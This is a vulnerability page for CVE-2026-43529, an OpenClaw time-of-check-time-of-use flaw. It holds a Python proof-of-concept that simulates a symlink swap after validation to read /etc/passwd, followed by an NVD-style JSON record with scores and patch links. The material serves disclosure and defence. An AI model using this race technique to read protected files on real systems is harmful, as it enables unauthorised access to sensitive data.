CVE-2026-43529

#!/usr/bin/env python3 import os import time import threading # PoC for CVE-2026-43529: OpenClaw TOCTOU Race Condition # This script simulates an attacker swapping a file after validation. VALID_FILE = "./workspace/valid_script.sh" TARGET_FILE = "/etc/passwd" # Sensitive file to leak LINK_PATH = "./workspace/target_link" def setup(): if not os.path.exists("./workspace"): os.makedirs("./workspace") with open(VALID_FILE, "w") as f: f.write("#!/bin/bash\necho 'Safe script'") def race_condition_swap(): print("[*] Attempting to swap file...") # Simulate the window between check and use # In a real scenario, this loops rapidly until success while True: try: # The attacker removes the valid file and creates a symlink to the target if os.path.exists(LINK_PATH): os.remove(LINK_PATH) os.symlink(TARGET_FILE, LINK_PATH) print("[+] Symlink created to " + TARGET_FILE) break except Exception as e: pass def trigger_vulnerable_function(): # Simulating the vulnerable OpenClaw function behavior # 1. Check phase (validateScriptFileForShellBleed) # Assuming it checks if VALID_FILE is safe if os.path.exists(VALID_FILE): print("[*] Validation phase: File looks safe.") # 2. Attacker triggers swap here attacker_thread = threading.Thread(target=race_condition_swap) attacker_thread.start() # Small delay to simulate processing time allowing the race time.sleep(0.1) # 3. Use phase (Preflight read) # The code reads from the path, which is now a symlink with open(LINK_PATH, "r") as f: content = f.read() print("[*] Use phase: Read content ->") print(content[:100]) # Print part of /etc/passwd else: print("[-] Setup failed.") if __name__ == "__main__": setup() trigger_vulnerable_function()

{"cve": {"id": "CVE-2026-43529", "sourceIdentifier": "[email protected]", "published": "2026-05-05T12:16:19.057", "lastModified": "2026-05-07T01:54:29.780", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenClaw before 2026.4.10 contains a time-of-check-time-of-use vulnerability in the validateScriptFileForShellBleed function that allows local attackers to bypass workspace boundary checks. An attacker with workspace write access can race-condition swap the target file between validation and preflight read, causing the validator to inspect a different file identity than the one that passed the initial boundary check."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:H/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.0, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 2.5, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.0, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-367"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openclaw:openclaw:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "2026.4.10", "matchCriteriaId": "5B7C767E-3450-421C-BD9F-9CE0D760A0E5"}]}]}], "references": [{"url": "https://github.com/openclaw/openclaw/commit/b024fae9e5df43e9b69b2daebb72be3469d52e91", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-gj9q-8w99-mp8j", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.vulncheck.com/advisories/openclaw-time-of-check-time-of-use-toctou-race-condition-in-exec-script-preflight-validator", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}